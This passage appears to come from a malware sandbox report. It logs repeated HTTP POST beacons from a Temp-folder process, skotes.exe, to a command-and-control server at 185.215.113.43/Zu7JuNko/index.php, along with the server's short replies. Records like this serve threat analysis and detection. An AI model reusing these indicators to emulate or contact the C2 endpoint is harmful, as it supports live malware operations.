Nov 23, 2024 13:30:32.319006920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50139	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:33.955009937 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:30:35.338736057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	50142	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:37.074776888 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:30:38.505321026 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	50143	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:40.136931896 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:30:41.530837059 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50145	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:43.278652906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:30:44.668051958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50147	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:47.951370001 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:30:49.298808098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	50148	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:50.925673008 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:30:52.260945082 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	50155	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:54.004113913 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:30:55.432566881 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	50158	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:57.064877033 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:30:58.504517078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	50159	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:00.246099949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:31:01.599605083 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	50160	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:03.249747992 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:31:04.640863895 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	50161	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:06.383755922 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:31:07.797183037 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	50162	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:09.425697088 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:31:10.772293091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	50163	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:12.528467894 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:31:13.865148067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	50164	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:15.500663996 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:31:16.892914057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	50166	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:18.646423101 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:31:20.105473995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	50167	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:21.741029024 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:31:23.136080027 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	50168	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:24.874766111 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:31:26.309462070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	50169	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:27.952122927 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:31:29.344017982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50171	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:31.094258070 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:31:32.471946955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50172	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:34.107188940 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:31:35.453825951 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50173	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:37.228827953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:31:38.570097923 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50174	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:40.205300093 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:31:41.587461948 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50175	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:43.321927071 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:31:44.700082064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50176	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
